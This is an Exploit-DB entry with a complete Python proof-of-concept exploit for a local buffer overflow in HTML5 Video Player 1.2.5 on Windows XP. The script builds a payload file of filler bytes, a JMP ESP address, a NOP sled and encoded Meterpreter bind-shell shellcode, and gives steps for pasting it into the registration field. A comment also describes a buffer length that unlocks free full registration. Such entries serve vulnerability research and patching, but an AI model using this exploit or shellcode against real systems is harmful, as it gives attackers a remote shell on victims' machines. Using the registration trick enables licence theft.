HTML5 Video Player 1.2.5 - Local Buffer Overflow (Non SEH)

EDB-ID:
46279

CVE:
N/A

EDB Verified: ×

Author:
DINO COVOTSOS

Type:
LOCAL

Exploit: / {}

Platform:
WINDOWS

Date:
2019-01-29

Vulnerable App:

```
#!/usr/bin/python
# Exploit Title: HTML5 Video Player 1.2.5 - Local Buffer Overflow - Non SEH
# Date: 27/01/2019
# Exploit Author: Dino Covotsos - Telspace Systems
# Vendor Homepage: http://www.html5videoplayer.net/download.html
# Software: http://www.html5videoplayer.net/html5videoplayer-setup.exe
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems
# Version: 1.2.5
# Tested on: Windows XP Prof SP3 ENG x86
# Note: No SEH exploitation required (SEH exploit for Windows XP SP3 by
Kagan Capar available on exploit-db)
# CVE: TBC from Mitre
# Created in preparation for OSCE - DC - Telspace Systems
# PoC:
# 1.) Generate exploit.txt, copy the contents to clipboard
# 2.) In application, open 'Help' then 'Register'
# 3.) Paste the contents of exploit.txt under 'KEY CODE'
# 4.) Click OK - Calc POPS!
# Extra Info:
#Exact match 996 = For free registration (Fill buffer with ABCD's to get
free full registration)
#Exact match 997 = For buffer overflow
#JMP ESP 0x7cb32d69  shell32.dll

#msfvenom -p windows/meterpreter/bind_tcp LPORT=443 -e x86/shikata_ga_nai -
b "\x00\xd5\x0a\x0d\x1a" -f c
#(binds meterpreter to port 443)

shellcode = ("\xdb\xc9\xbf\xab\x95\xb6\x9c\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
"\x4e\x83\xe8\xfc\x31\x78\x14\x03\x78\xbf\x77\x43\x60\x57\xf5"
"\xac\x99\xa7\x9a\x25\x7c\x96\x9a\x52\xf4\x88\x2a\x10\x58\x24"
"\xc0\x74\x49\xbf\xa4\x50\x7e\x08\x02\x87\xb1\x89\x3f\xfb\xd0"
"\x09\x42\x28\x33\x30\x8d\x3d\x32\x75\xf0\xcc\x66\x2e\x7e\x62"
"\x97\x5b\xca\xbf\x1c\x17\xda\xc7\xc1\xef\xdd\xe6\x57\x64\x84"
"\x28\x59\xa9\xbc\x60\x41\xae\xf9\x3b\xfa\x04\x75\xba\x2a\x55"
"\x76\x11\x13\x5a\x85\x6b\x53\x5c\x76\x1e\xad\x9f\x0b\x19\x6a"
"\xe2\xd7\xac\x69\x44\x93\x17\x56\x75\x70\xc1\x1d\x79\x3d\x85"
"\x7a\x9d\xc0\x4a\xf1\x99\x49\x6d\xd6\x28\x09\x4a\xf2\x71\xc9"
"\xf3\xa3\xdf\xbc\x0c\xb3\x80\x61\xa9\xbf\x2c\x75\xc0\x9d\x38"
"\xba\xe9\x1d\xb8\xd4\x7a\x6d\x8a\x7b\xd1\xf9\xa6\xf4\xff\xfe"
"\xc9\x2e\x47\x90\x34\xd1\xb8\xb8\xf2\x85\xe8\xd2\xd3\xa5\x62"
"\x23\xdc\x73\x1e\x28\x7b\x2c\x3d\xd3\x11\xcd\xab\x2e\x8d\x27"
"\x24\xf0\xad\x47\xee\x99\x45\xba\x11\xa7\x2e\x33\xf7\xcd\x40"
"\x12\xaf\x79\xa2\x41\x78\x1d\xdd\xa3\x02\x21\x54\x14\x5a\xca"
"\x21\x4d\x5c\xf5\xb2\x5b\xca\x61\x38\x88\xce\x90\x3f\x85\x66"
"\xc4\xd7\x53\xe7\xa7\x46\x63\x22\x5d\x88\xf1\xc9\xf4\xdf\x6d"
"\xd0\x21\x17\x32\x2b\x04\x24\x35\xd3\xd9\x07\x4d\xe2\x4f\x17"
"\x39\x0b\x80\x97\xb9\x5d\xca\x97\xd1\x39\xae\xc4\xc4\x45\x7b"
"\x79\x55\xd0\x84\x2b\x09\x73\xed\xd1\x74\xb3\xb2\x2a\x53\xc7"
"\xb5\xd4\x22\xcf\x44\x17\xf3\x09\x33\x7e\xc7\x2d\x4c\x35\x6a"
"\x07\xc7\x35\x38\x57\xc2")
buffer = "A" * 996 + "\x69\x2d\xb3\x7c" + "\x90" * 20 + shellcode

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
```

Tags: Local Buffer Overflow

Advisory/Source: Link